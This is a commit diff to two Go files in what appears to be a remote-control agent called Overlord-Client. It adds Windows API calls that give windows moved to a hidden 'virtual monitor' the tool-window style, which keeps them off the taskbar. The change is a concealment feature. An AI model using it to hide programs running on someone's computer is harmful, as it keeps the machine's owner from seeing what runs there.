hide from task bar

Overlord-Client/cmd/agent/capture/backstage_windows.go

@@ -49,6 +49,8 @@ var (
 	procGetWindowThreadProcessId = user32.NewProc("GetWindowThreadProcessId")
 	procEnumDesktopWindows       = user32.NewProc("EnumDesktopWindows")
 	procTerminateProcess         = kernel32.NewProc("TerminateProcess")
+	procGetWindowLongPtrW        = user32.NewProc("GetWindowLongPtrW")
+	procSetWindowLongPtrW        = user32.NewProc("SetWindowLongPtrW")
 )
 
 const (
@@ -144,6 +146,9 @@ const (
 	SW_SHOWMAXIMIZED       = 3
 	GA_ROOT                = 2
 	SMTO_ABORTIFHUNG       = 0x0002
+
+	GWL_EXSTYLE     = -20
+	WS_EX_TOOLWINDOW = 0x00000080
 )
 
 var (

Overlord-Client/cmd/agent/capture/virtual_windows.go

@@ -851,6 +851,12 @@ func moveProcessWindowsToVirtualMonitor(pid uint32, bounds image.Rectangle, base
 			procSetWindowPos.Call(hwnd, 0, uintptr(newX), uintptr(newY), uintptr(winW), uintptr(winH), flags)
 			hwndMap[hwnd] = visible
 
+			gwlExStyle := int(GWL_EXSTYLE)
+			exStyle, _, _ := procGetWindowLongPtrW.Call(hwnd, uintptr(gwlExStyle))
+			if exStyle != 0 {
+				procSetWindowLongPtrW.Call(hwnd, uintptr(gwlExStyle), exStyle|WS_EX_TOOLWINDOW)
+			}
+
 			log.Printf("virtual: moved window hwnd=0x%x (pid=%d) to virtual monitor (%d,%d)", hwnd, pid, bounds.Min.X, bounds.Min.Y)
 			moved++
 			break